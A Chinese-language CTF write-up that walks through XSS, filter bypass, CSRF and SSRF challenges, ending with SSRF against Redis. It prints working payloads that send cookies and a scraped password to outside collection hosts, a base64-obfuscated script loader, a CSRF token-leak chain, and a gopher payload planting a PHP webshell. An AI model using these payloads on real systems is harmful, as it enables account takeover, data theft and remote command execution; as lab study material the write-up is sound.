提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
-
- 混合型XSS
- [XSS 练习(反射型)](#XSS 练习(反射型))
- 编码绕过XSS过滤
- 请求伪造漏洞_CSRF
- 最简单的SSRF
- SSRF打Redis
- 总结
混合型XSS
打开网页,可以看到如下页面:

话不多说,开启我们的闯关:
XSS 练习(反射型)
我们可以看到很普通的登录框,输入参数抓包分析一下:

输入账号密码后,提示"账号或密码错误":

然后就尝试注册了一个用户,再尝试进行登陆:

随后进入到一个新页面:


管理员审核后:

抓包分析,发现我们刚刚输入的签名"123",成功显示在了页面上:

绕过方法
我们可以得到以下三个关键信息:
- 输入即输出(未过滤) :在请求的 URL 参数中输入了
sig=123(左侧 Request 区域),服务器端接收后,没有做任何安全过滤或转义,直接把这原封不动地"反射"到了页面的 HTML 代码中(右侧 Response 区域的<p>...: 123</p>)。 - 漏洞成因 :因为服务器"盲目信任"了输入,这就意味着,如果你输入的不是普通的数字
123,而是一段恶意的 JavaScript 代码(例如<script>alert('XSS')</script>),服务器同样会把它原样拼接到 HTML 中。当浏览器解析到这里时,就会当做正常代码执行。 - 题目信息暗示 :注意看图里那句 "管理员会在1分钟内审核" 意味着后台有一个模拟的"管理员机器人"会去访问你提交的链接。
所以这里我们尝试构造一下payload:
bash
<script>alert('XSS')</script>
成功反弹:

这里尝试用XSS平台获取管理员的Cookie:
webhook.site:https://webhook.site/xssaq:https://xssaq.com
bash
<script>window.location.href='https://xss.site/c531bf3f-8ef1-4864-b659-6787f56e78c4/?cookie='+document.cookie</script>
# POST型外带
<script>
fetch('https://xss.site/c531bf3f-8ef1-4864-b659-6787f56e78c4/', {
method: 'POST',
body: document.documentElement.outerHTML
});
</script>

POST型:

可以看到都失败了;那就换个平台:

随便选择一个payload,输入到签名框里等待:

即可反弹;
随后查看内容:

bash
这里我翻看源码,并没有找到flag,只能去网上找WP;
- 原来是还少了一步;
新增知识:平台外带xss
为什么需要换平台外带?
- 之前使用的 xss 平台虽然能通过 <script src> 上线,但它可能仅支持预定义的数据收集方式(比如自动截图、获取 Cookie 等);
- 而无法让你自定义发送任意数据(如页面源码)
- 因此,你需要一个完全可控的外部平台,例如 https://pipedream.com,它允许你
- 创建一个专属的 HTTP 接收端点(Endpoint),可以查看所有传入的请求详情(包括 Headers、Body、参数)。
- 不受数据格式限制,你可以自由地将页面源码作为 GET 参数或 POST 数据发送。
- 实时查看日志,便于调试和提取密码。
步骤如下:
(1)在 Pipedream 上创建一个 HTTP 触发器(HTTP Endpoint),获得一个专属 URL(例如 https://eoxxxxxx.m.pipedream.net)。然后编写如下 Payload,将页面源码发送到这个 URL:
需要进行登陆,并且创建+new workflow即可

(2)在弹出的选择框中,需要找到并点击 "HTTP / Webhook"。这就是你要找的"HTTP Endpoint"。


(3)随后输入一段异步 XSS 脚本(Async XSS),用于在浏览器中执行以下操作:
注意在代码中,替换成自己的url
javascript
(async () => {
try {
const res = await fetch('/profile', { credentials: 'include', method: 'GET' });
const txt = await res.text();
const secret = txt.split('id="upass"')[1].substr(48,45);
const headers = new Headers()
headers.append("Content-Type", "application/json")
const body = {
"test": secret
}
const options = {
method: "POST",
headers,
mode: "cors",
body: JSON.stringify(body),
}
fetch("https://eoiq59v45jb1lvw.m.pipedream.net", options)
} catch (e) {
console.error(e);
}
})();
作用如下:
- 向 /profile 发起请求(携带 Cookie)
- 获取页面 HTML 源码
- 提取其中的密码字段(id="upass")
- 将密码通过 POST 请求发送到你的 Pipedream Webhook
- 成功后,你在 Pipedream 中就能看到 flag
(4)将这段代码添加进自定义模块。

(5)再次发送XSS语句,即可得到结果:
bash
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//ujs.cx/YmU';>
随后点击按钮:



编码绕过XSS过滤
还是老样子,打开网页:

还是先注册账号,然后尝试登陆:

绕过方法
此题只过滤了script 和 \,用下面命令进行绕过,其余和上一题一样
详细步骤同上:
记得改成自己的配置代码://ujs.cx/EZW

(1)将payload进行base64编码:
bash
# 原始payload
var s = document.createElement('script');
s.src = '//ujs.cx/EZW';
document.body.appendChild(s);
# base64编码后
cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3Vqcy5jeC9FWlc=
# 大概形式如下
<svg onload="eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3Vqcy5jeC9FWlc='))">
成功返回flag:

请求伪造漏洞_CSRF
同理:

正常注册用户 123/123 然后进行登陆:

增加了很多功能,可以修改密码,获取flag则需要管理员的账号密码
绕过方法
分析修改密码路由 /modify
html
<form method="post" class="mt-3">
<div class="mb-3">
<label class="form-label">用户名</label>
<input class="form-control form-control-lg bg-transparent text-light" name="username" disabled value="test">
</div>
<div class="mb-3">
<label class="form-label">新密码</label>
<input type="password" class="form-control form-control-lg bg-transparent text-light" name="password" required>
<input type="hidden" name="csrf_token" value="3g4i9_yQLKQaoO_LRR8399tux22pg2S7E-WNWJVuPN4">
</div>
<div class="d-flex justify-content-between align-items-center">
<button class="btn btn-neon btn-lg">修改</button>
<a class="text-decoration-none text-info" href="/login">已有账号?登录</a>
</div>
</form>
虽然不验证旧密码,但是新增了csrf_token验证;
XSS的利用点还在,我们首先打入xss 看下管理员访问的同源地址,否则无法进行CSRF利用(无法携带cookie)

成功拿到管理员的同源地址 端口是4476端口,也就是后续 修改密码的提交地址,应该是本地的4476端口:
尝试使用XSS来修改管理员的密码,无csrf_token,检查后端是否对token进行了验证:
bash
// 构造表单数据
const formData = new URLSearchParams();
formData.append('password', '123456');
fetch('http://127.0.0.1:4476/modify', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: formData,
credentials: 'include' // 重要:自动携带Cookie
}).then(response => {
}).catch(error => {
});
进行二次XSS,获取csrf_token,并发给攻击网址:
bash
fetch('http://127.0.0.1:4476/modify', {
credentials: 'include' // 携带Cookie
})
.then(r => r.text())
.then(html => {
// 提取Token
const tokenMatch = html.match(/name="csrf_token" value="([^"]*)"/);
if (tokenMatch && tokenMatch[1]) {
const token = tokenMatch[1];
const leakUrl = `http://ctf.show.ctfer.com/?token=${token}&target=http://127.0.0.1:4476/modify`;
window.location.href = leakUrl;
}
});
攻击网址的主要代码如下:
bash
<form id="csrfForm" action="{{ target }}" method="POST">
<input type="hidden" name="password" value="123456">
<input type="hidden" name="csrf_token" value="{{ token }}">
</form>
<script>
setTimeout(() => {
document.getElementById('csrfForm').submit();
}, 1000);
</script>
调用的时候,通过GET传参后,初始化到html表单中,这样就可以在管理员无感情况下,修改管理员密码,进行二次XSS注入:

成功登陆管理员账号,使用 admin / 123456来验证账号获取flag:

最简单的SSRF
直接保留地址绕过即可:

源代码如下:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
根据代码,直接得到flag:

SSRF打Redis
页面源代码如下:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
以下引用自
Y0uhe师傅
直接使用工具生成payload:
bash
python gopherus.py --exploit redis

上述字符解码后的语句为:
bash
*1
$8
flushall
*3
$3
set
$1
1
$34
<?php system($_GET['cmd']); ?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
生成字符的作用:是Redis未授权访问写入PHP一句话木马的攻击指令,用于通过SSRF漏洞在目标服务器写入webshell实现远程控制。
将生成的字符_后面的再进行一次编码:

POST传入

bash
url=gopher://127.0.0.1:6379
/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250D%250A%250D%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250D%250A%250D%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
shell写入的地址默认 url/shell.php :

成功连接并执行命令:

连接蚁剑:

成功根目录下找到flag:cat /flaaag

总结
本文围绕Web安全漏洞展开,重点分析了XSS漏洞的绕过策略与平台外带技巧,详细解析了CSRF请求伪造的防范与规避,并深入探讨了SSRF漏洞的利用场景。 针对SSRF漏洞,文章特别演示了如何利用该漏洞攻击Redis等内部组件,展示了从基础漏洞到横向移动的实战链路。